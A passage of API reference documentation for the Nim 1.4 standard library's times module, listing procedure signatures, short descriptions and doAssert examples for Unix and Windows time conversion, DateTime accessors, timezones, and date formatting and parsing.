[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L839) ``` proc toUnix(t: Time): int64 {...}{.gcsafe, locks: 0, tags: [], raises: [], noSideEffect.} ``` Convert `t` to a unix timestamp (seconds since `1970-01-01T00:00:00Z`). See also `toUnixFloat` for subsecond resolution. **Example:** ``` doAssert fromUnix(0).toUnix() == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L847) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L847) ``` proc fromUnixFloat(seconds: float): Time {...}{.gcsafe, locks: 0, tags: [], raises: [], noSideEffect.} ``` Convert a unix timestamp in seconds to a `Time`; same as `fromUnix` but with subsecond resolution. **Example:** ``` doAssert fromUnixFloat(123456.0) == fromUnixFloat(123456) doAssert fromUnixFloat(-123456.0) == fromUnixFloat(-123456) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L854) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L854) ``` proc toUnixFloat(t: Time): float {...}{.gcsafe, locks: 0, tags: [], raises: [].} ``` Same as `toUnix` but using subsecond resolution. **Example:** ``` let t = getTime() # `<` because of rounding errors doAssert abs(t.toUnixFloat().fromUnixFloat - t) < initDuration(nanoseconds = 1000) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L864) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L864) ``` proc fromWinTime(win: int64): Time {...}{.raises: [], tags: [].} ``` Convert a Windows file time (100-nanosecond intervals since `1601-01-01T00:00:00Z`) to a `Time`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L876) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L876) ``` proc toWinTime(t: Time): int64 {...}{.raises: [], tags: [].} ``` Convert `t` to a Windows file time (100-nanosecond intervals since `1601-01-01T00:00:00Z`). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L884) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L884) ``` proc getTime(): Time {...}{.tags: [TimeEffect], gcsafe, locks: 0, raises: [].} ``` Gets the current time as a `Time` with up to nanosecond resolution. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L889) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L889) ``` proc `-`(a, b: Time): Duration {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntDiffTime", raises: [], tags: [].} ``` Computes the duration between two points in time. **Example:** ``` doAssert initTime(1000, 100) - initTime(500, 20) == initDuration(minutes = 8, seconds = 20, nanoseconds = 80) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L911) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L911) ``` proc `+`(a: Time; b: Duration): Time {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntAddTime", raises: [], tags: [].} ``` Add a duration of time to a `Time`. **Example:** ``` doAssert (fromUnix(0) + initDuration(seconds = 1)) == fromUnix(1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L918) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L918) ``` proc `-`(a: Time; b: Duration): Time {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntSubTime", raises: [], tags: [].} ``` Subtracts a duration of time from a `Time`. **Example:** ``` doAssert (fromUnix(0) - initDuration(seconds = 1)) == fromUnix(-1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L924) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L924) ``` proc `<`(a, b: Time): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntLtTime", raises: [], tags: [].} ``` Returns true if `a < b`, that is if `a` happened before `b`. **Example:** ``` doAssert initTime(50, 0) < initTime(99, 0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L930) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L930) ``` proc `<=`(a, b: Time): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntLeTime", raises: [], tags: [].} ``` Returns true if `a <= b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L936) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L936) ``` proc `==`(a, b: Time): bool {...}{.gcsafe, noSideEffect, gcsafe, locks: 0, extern: "ntEqTime", raises: [], tags: [].} ``` Returns true if `a == b`, that is if both times represent the same point in time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L940) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L940) ``` proc `+=`(t: var Time; b: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L944) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L944) ``` proc `-=`(t: var Time; b: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L947) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L947) ``` proc high(typ: typedesc[Time]): Time ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L950) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L950) ``` proc low(typ: typedesc[Time]): Time ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L953) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L953) ``` proc nanosecond(dt: DateTime): NanosecondRange {...}{.inline, raises: [], tags: [].} ``` The number of nanoseconds after the second, in the range 0 to 999\_999\_999. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L963) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L963) ``` proc second(dt: DateTime): SecondRange {...}{.inline, raises: [], tags: [].} ``` The number of seconds after the minute, in the range 0 to 59. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L969) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L969) ``` proc minute(dt: DateTime): MinuteRange {...}{.inline, raises: [], tags: [].} ``` The number of minutes after the hour, in the range 0 to 59. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L975) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L975) ``` proc hour(dt: DateTime): HourRange {...}{.inline, raises: [], tags: [].} ``` The number of hours past midnight, in the range 0 to 23. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L981) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L981) ``` proc monthday(dt: DateTime): MonthdayRange {...}{.inline, raises: [], tags: [].} ``` The day of the month, in the range 1 to 31. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L987) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L987) ``` proc month(dt: DateTime): Month {...}{.raises: [], tags: [].} ``` The month as an enum, the ordinal value is in the range 1 to 12. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L993) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L993) ``` proc year(dt: DateTime): int {...}{.inline, raises: [], tags: [].} ``` The year, using astronomical year numbering (meaning that before year 1 is year 0, then year -1 and so on). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1000) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1000) ``` proc weekday(dt: DateTime): WeekDay {...}{.inline, raises: [], tags: [].} ``` The day of the week as an enum, the ordinal value is in the range 0 (monday) to 6 (sunday). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1007) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1007) ``` proc yearday(dt: DateTime): YeardayRange {...}{.inline, raises: [], tags: [].} ``` The number of days since January 1, in the range 0 to 365. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1013) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1013) ``` proc isDst(dt: DateTime): bool {...}{.inline, raises: [], tags: [].} ``` Determines whether DST is in effect. Always false for the JavaScript backend. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1019) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1019) ``` proc timezone(dt: DateTime): Timezone {...}{.inline, raises: [], tags: [].} ``` The timezone represented as an implementation of `Timezone`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1025) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1025) ``` proc utcOffset(dt: DateTime): int {...}{.inline, raises: [], tags: [].} ``` The offset in seconds west of UTC, including any offset due to DST. Note that the sign of this number is the opposite of the one in a formatted offset string like `+01:00` (which would be equivalent to the UTC offset `-3600`). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1031) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1031) ``` proc isInitialized(dt: DateTime): bool {...}{.raises: [], tags: [].} ``` **Example:** ``` doAssert now().isInitialized doAssert not default(DateTime).isInitialized ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1041) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1041) ``` proc isLeapDay(dt: DateTime): bool {...}{.raises: [], tags: [].} ``` Returns whether `t` is a leap day, i.e. Feb 29 in a leap year. This matters as it affects time offset calculations. **Example:** ``` let dt = initDateTime(29, mFeb, 2020, 00, 00, 00, utc()) doAssert dt.isLeapDay doAssert dt+1.years-1.years != dt let dt2 = initDateTime(28, mFeb, 2020, 00, 00, 00, utc()) doAssert not dt2.isLeapDay doAssert dt2+1.years-1.years == dt2 doAssertRaises(Exception): discard initDateTime(29, mFeb, 2021, 00, 00, 00, utc()) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1051) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1051) ``` proc toTime(dt: DateTime): Time {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Converts a `DateTime` to a `Time` representing the same point in time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1065) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1065) ``` proc newTimezone(name: string; zonedTimeFromTimeImpl: proc (time: Time): ZonedTime {...}{. tags: [], raises: [], gcsafe, locks: 0.}; zonedTimeFromAdjTimeImpl: proc ( adjTime: Time): ZonedTime {...}{.tags: [], raises: [], gcsafe, locks: 0.}): owned Timezone {...}{.raises: [], tags: [].} ``` Create a new `Timezone`. `zonedTimeFromTimeImpl` and `zonedTimeFromAdjTimeImpl` is used as the underlying implementations for `zonedTimeFromTime` and `zonedTimeFromAdjTime`. If possible, the name parameter should match the name used in the tz database. If the timezone doesn't exist in the tz database, or if the timezone name is unknown, then any string that describes the timezone unambiguously can be used. Note that the timezones name is used for checking equality! **Example:** ``` proc utcTzInfo(time: Time): ZonedTime = ZonedTime(utcOffset: 0, isDst: false, time: time) let utc = newTimezone("Etc/UTC", utcTzInfo, utcTzInfo) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1105) ``` proc name(zone: Timezone): string {...}{.raises: [], tags: [].} ``` The name of the timezone. If possible, the name will be the name used in the tz database. If the timezone doesn't exist in the tz database, or if the timezone name is unknown, then any string that describes the timezone unambiguously might be used. For example, the string "LOCAL" is used for the systems local timezone. See also: <https://en.wikipedia.org/wiki/Tz_database> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1133) ``` proc zonedTimeFromTime(zone: Timezone; time: Time): ZonedTime {...}{.raises: [], tags: [].} ``` Returns the `ZonedTime` for some point in time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1145) ``` proc zonedTimeFromAdjTime(zone: Timezone; adjTime: Time): ZonedTime {...}{. raises: [], tags: [].} ``` Returns the `ZonedTime` for some local time. Note that the `Time` argument does not represent a point in time, it represent a local time! E.g if `adjTime` is `fromUnix(0)`, it should be interpreted as 1970-01-01T00:00:00 in the `zone` timezone, not in UTC. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1149) ``` proc `$`(zone: Timezone): string {...}{.raises: [], tags: [].} ``` Returns the name of the timezone. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1157) ``` proc `==`(zone1, zone2: Timezone): bool {...}{.raises: [], tags: [].} ``` Two `Timezone`'s are considered equal if their name is equal. **Example:** ``` doAssert local() == local() doAssert local() != utc() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1161) ``` proc inZone(time: Time; zone: Timezone): DateTime {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Convert `time` into a `DateTime` using `zone` as the timezone. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1172) ``` proc inZone(dt: DateTime; zone: Timezone): DateTime {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Returns a `DateTime` representing the same point in time as `dt` but using `zone` as the timezone. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1177) ``` proc utc(): Timezone {...}{.raises: [], tags: [].} ``` Get the `Timezone` implementation for the UTC timezone. **Example:** ``` doAssert now().utc.timezone == utc() doAssert utc().name == "Etc/UTC" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1285) ``` proc local(): Timezone {...}{.raises: [], tags: [].} ``` Get the `Timezone` implementation for the local timezone. **Example:** ``` doAssert now().timezone == local() doAssert local().name == "LOCAL" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1294) ``` proc utc(dt: DateTime): DateTime {...}{.raises: [], tags: [].} ``` Shorthand for `dt.inZone(utc())`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1304) ``` proc local(dt: DateTime): DateTime {...}{.raises: [], tags: [].} ``` Shorthand for `dt.inZone(local())`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1308) ``` proc utc(t: Time): DateTime {...}{.raises: [], tags: [].} ``` Shorthand for `t.inZone(utc())`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1312) ``` proc local(t: Time): DateTime {...}{.raises: [], tags: [].} ``` Shorthand for `t.inZone(local())`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1316) ``` proc now(): DateTime {...}{.tags: [TimeEffect], gcsafe, locks: 0, raises: [].} ``` Get the current time as a `DateTime` in the local timezone. Shorthand for `getTime().local`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1320) ``` proc initDateTime(monthday: MonthdayRange; month: Month; year: int; hour: HourRange; minute: MinuteRange; second: SecondRange; nanosecond: NanosecondRange; zone: Timezone = local()): DateTime {...}{. raises: [], tags: [].} ``` Create a new [DateTime](#DateTime) in the specified timezone. **Example:** ``` let dt1 = initDateTime(30, mMar, 2017, 00, 00, 00, 00, utc()) doAssert $dt1 == "2017-03-30T00:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1326) ``` proc initDateTime(monthday: MonthdayRange; month: Month; year: int; hour: HourRange; minute: MinuteRange; second: SecondRange; zone: Timezone = local()): DateTime {...}{.raises: [], tags: [].} ``` Create a new [DateTime](#DateTime) in the specified timezone. **Example:** ``` let dt1 = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) doAssert $dt1 == "2017-03-30T00:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1347) ``` proc `+`(dt: DateTime; dur: Duration): DateTime {...}{.raises: [], tags: [].} ``` **Example:** ``` let dt = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) let dur = initDuration(hours = 5) doAssert $(dt + dur) == "2017-03-30T05:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1356) ``` proc `-`(dt: DateTime; dur: Duration): DateTime {...}{.raises: [], tags: [].} ``` **Example:** ``` let dt = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) let dur = initDuration(days = 5) doAssert $(dt - dur) == "2017-03-25T00:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1364) ``` proc `-`(dt1, dt2: DateTime): Duration {...}{.raises: [], tags: [].} ``` Compute the duration between `dt1` and `dt2`. **Example:** ``` let dt1 = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) let dt2 = initDateTime(25, mMar, 2017, 00, 00, 00, utc()) doAssert dt1 - dt2 == initDuration(days = 5) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1372) ``` proc `<`(a, b: DateTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` happened before `b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1382) ``` proc `<=`(a, b: DateTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` happened before or at the same time as `b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1386) ``` proc `==`(a, b: DateTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` and `b` represent the same point in time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1390) ``` proc `+=`(a: var DateTime; b: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1396) ``` proc `-=`(a: var DateTime; b: Duration) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1399) ``` proc getDateStr(dt = now()): string {...}{.gcsafe, extern: "nt$1", tags: [TimeEffect], raises: [].} ``` Gets the current local date as a string of the format `YYYY-MM-DD`. **Example:** ``` echo getDateStr(now() - 1.months) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1402) ``` proc getClockStr(dt = now()): string {...}{.gcsafe, extern: "nt$1", tags: [TimeEffect], raises: [].} ``` Gets the current local clock time as a string of the format `HH:mm:ss`. **Example:** ``` echo getClockStr(now() - 1.hours) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1410) ``` proc `$`(f: TimeFormat): string {...}{.raises: [], tags: [].} ``` Returns the format string that was used to construct `f`. **Example:** ``` let f = initTimeFormat("yyyy-MM-dd") doAssert $f == "yyyy-MM-dd" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1510) ``` proc initTimeFormat(format: string): TimeFormat {...}{. raises: [TimeFormatParseError], tags: [].} ``` Construct a new time format for parsing & formatting time types. See [Parsing and formatting dates](#parsing-and-formatting-dates) for documentation of the `format` argument. **Example:** ``` let f = initTimeFormat("yyyy-MM-dd") doAssert "2000-01-01" == "2000-01-01".parse(f).format(f) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1628) ``` proc format(dt: DateTime; f: TimeFormat; loc: DateTimeLocale = DefaultLocale): string {...}{. raises: [], tags: [].} ``` Format `dt` using the format specified by `f`. **Example:** ``` let f = initTimeFormat("yyyy-MM-dd") let dt = initDateTime(01, mJan, 2000, 00, 00, 00, utc()) doAssert "2000-01-01" == dt.format(f) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L1982) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L1982) ``` proc format(dt: DateTime; f: string; loc: DateTimeLocale = DefaultLocale): string {...}{. raises: [TimeFormatParseError], tags: [].} ``` Shorthand for constructing a `TimeFormat` and using it to format `dt`. See [Parsing and formatting dates](#parsing-and-formatting-dates) for documentation of the `format` argument. **Example:** ``` let dt = initDateTime(01, mJan, 2000, 00, 00, 00, utc()) doAssert "2000-01-01" == format(dt, "yyyy-MM-dd") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2005) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2005) ``` proc format(dt: DateTime; f: static[string]): string {...}{.raises: [].} ``` Overload that validates `format` at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2017) ``` proc formatValue(result: var string; value: DateTime; specifier: string) {...}{. raises: [TimeFormatParseError], tags: [].} ``` adapter for strformat. Not intended to be called directly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2022) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2022) ``` proc format(time: Time; f: string; zone: Timezone = local()): string {...}{. raises: [TimeFormatParseError], tags: [].} ``` Shorthand for constructing a `TimeFormat` and using it to format `time`. Will use the timezone specified by `zone`. See [Parsing and formatting dates](#parsing-and-formatting-dates) for documentation of the `f` argument. **Example:** ``` var dt = initDateTime(01, mJan, 1970, 00, 00, 00, utc()) var tm = dt.toTime() doAssert format(tm, "yyyy-MM-dd'T'HH:mm:ss", utc()) == "1970-01-01T00:00:00" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2027) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2027) ``` proc format(time: Time; f: static[string]; zone: Timezone = local()): string {...}{. raises: [].} ``` Overload that validates `f` at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2040) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2040) ``` proc parse(input: string; f: TimeFormat; zone: Timezone = local(); loc: DateTimeLocale = DefaultLocale): DateTime {...}{. raises: [TimeParseError, Defect], tags: [TimeEffect].} ``` Parses `input` as a `DateTime` using the format specified by `f`. If no UTC offset was parsed, then `input` is assumed to be specified in the `zone` timezone. If a UTC offset was parsed, the result will be converted to the `zone` timezone. Month and day names from the passed in `loc` are used. **Example:** ``` let f = initTimeFormat("yyyy-MM-dd") let dt = initDateTime(01, mJan, 2000, 00, 00, 00, utc()) doAssert dt == "2000-01-01".parse(f, utc()) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2050) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2050) ``` proc parse(input, f: string; tz: Timezone = local(); loc: DateTimeLocale = DefaultLocale): DateTime {...}{. raises: [TimeParseError, TimeFormatParseError, Defect], tags: [TimeEffect].} ``` Shorthand for constructing a `TimeFormat` and using it to parse `input` as a `DateTime`. See [Parsing and formatting dates](#parsing-and-formatting-dates) for documentation of the `f` argument. **Example:** ``` let dt = initDateTime(01, mJan, 2000, 00, 00, 00, utc()) doAssert dt == parse("2000-01-01", "yyyy-MM-dd", utc()) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2094) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2094) ``` proc parse(input: string; f: static[string]; zone: Timezone = local(); loc: DateTimeLocale = DefaultLocale): DateTime {...}{. raises: [TimeParseError, Defect].} ``` Overload that validates `f` at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2108) ``` proc parseTime(input, f: string; zone: Timezone): Time {...}{. raises: [TimeParseError, TimeFormatParseError, Defect], tags: [TimeEffect].} ``` Shorthand for constructing a `TimeFormat` and using it to parse `input` as a `DateTime`, then converting it a `Time`. See [Parsing and formatting dates](#parsing-and-formatting-dates) for documentation of the `format` argument. **Example:** ``` let tStr = "1970-01-01T00:00:00+00:00" doAssert parseTime(tStr, "yyyy-MM-dd'T'HH:mm:sszzz", utc()) == fromUnix(0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2115) ``` proc parseTime(input: string; f: static[string]; zone: Timezone): Time {...}{. raises: [TimeParseError, Defect].} ``` Overload that validates `format` at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2127) ``` proc `$`(dt: DateTime): string {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Converts a `DateTime` object to a string representation. It uses the format `yyyy-MM-dd'T'HH:mm:sszzz`. **Example:** ``` let dt = initDateTime(01, mJan, 2000, 12, 00, 00, utc()) doAssert $dt == "2000-01-01T12:00:00Z" doAssert $default(DateTime) == "Uninitialized DateTime" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2133) ``` proc `$`(time: Time): string {...}{.tags: [], raises: [], gcsafe, locks: 0.} ``` Converts a `Time` value to a string representation. It will use the local time zone and use the format `yyyy-MM-dd'T'HH:mm:sszzz`. **Example:** ``` let dt = initDateTime(01, mJan, 1970, 00, 00, 00, local()) let tm = dt.toTime() doAssert $tm == "1970-01-01T00:00:00" & format(dt, "zzz") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2145) ``` proc initTimeInterval(nanoseconds, microseconds, milliseconds, seconds, minutes, hours, days, weeks, months, years: int = 0): TimeInterval {...}{. raises: [], tags: [].} ``` Creates a new [TimeInterval](#TimeInterval). This proc doesn't perform any normalization! For example, `initTimeInterval(hours = 24)` and `initTimeInterval(days = 1)` are not equal. You can also use the convenience procedures called `milliseconds`, `seconds`, `minutes`, `hours`, `days`, `months`, and `years`. **Example:** ``` let day = initTimeInterval(hours = 24) let dt = initDateTime(01, mJan, 2000, 12, 00, 00, utc()) doAssert $(dt + day) == "2000-01-02T12:00:00Z" doAssert initTimeInterval(hours = 24) != initTimeInterval(days = 1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2158) ``` proc `+`(ti1, ti2: TimeInterval): TimeInterval {...}{.raises: [], tags: [].} ``` Adds two `TimeInterval` objects together. 